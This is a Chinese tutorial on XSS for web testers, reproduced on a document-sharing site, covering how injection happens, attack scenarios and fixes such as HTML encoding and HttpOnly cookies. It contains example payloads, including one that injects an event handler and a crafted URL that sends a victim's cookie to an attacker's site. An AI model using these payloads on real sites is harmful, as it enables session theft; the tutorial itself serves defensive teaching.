Web安全测试之XSS.docVIP

  1. 1、本文档共7页,可阅读全部内容。
  2. 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  5. 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  6. 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  7. 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  8. 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
Web安全测试之XSS.doc

XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的.? 比如获取用户的Cookie,导航到恶意网站,携带木马等。 作为测试人员,需要了解XSS的原理,攻击场景,如何修复。 才能有效的防止XSS的发生。 ? 阅读目录 XSS 是如何发生的 HTML Encode XSS 攻击场景 XSS漏洞的修复 如何测试XSS漏洞 HTML Encode 和URL Encode的区别 浏览器中的XSS过滤器 ASP.NET中的XSS安全机制 XSS 是如何发生的呢 假如有下面一个textbox input type=text name=address1 value=value1from value1from是来自用户的输入,如果用户不是输入value1from,而是输入?/scriptalert(document.cookie)/script!-?那么就会变成 input type=text name=address1 value=/scriptalert(document.cookie)/script!- 嵌入的JavaScript代码将会被执行 ? 或者用户输入的是??onfocus=alert(document.cookie)????? 那么就会变成? input type=text name=address1 value= onfocus=alert(document.cookie) ?事件被触发的时候嵌入的JavaScript代码将会被执行 ?攻击的威力,取决于用户输入了什么样的脚本 ? 当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图 ? HTML Encode XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的中括号, “单引号”,“引号” 之类的特殊字符进行编码。 在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode(string scritp) 就可以了。? (需要引用System.Web程序集) Fiddler中也提供了很方便的工具, 点击Toolbar上的TextWizard 按钮 ? XSS 攻击场景 1. Dom-Based XSS 漏洞 攻击过程如下 Tom 发现了V中的一个页面有XSS漏洞, 例如: /search.asp?term=apple 服务器中Search.asp 页面的代码大概如下 html   title/title   body     Results for %Reequest.QueryString(term)%     ...   /body /html Tom 先建立一个网站,? 用来接收“偷”来的信息。 然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica /search.asp?term=scriptwindow.open(?cookie=+document.cookie)/script Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在网站的cookie, 就会被发送到badguy网站中。这样Monica在 的信息就被Tom盗了. ? 2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下 Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中, Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。 其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。 ? Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户. ? XSS 漏洞修复 原则: 不相信客户输入的数据 注意:? 攻击代码不一定在script/script中 将重要的cookie标记为http only, ? 这样的话Javascript 中的document.cookie语句就不能获取到cookie了. 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。 对数据进行Ht

文档评论(0)

xinshengwencai + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

版权声明书
用户编号:5311233133000002

1亿VIP精品文档

相关文档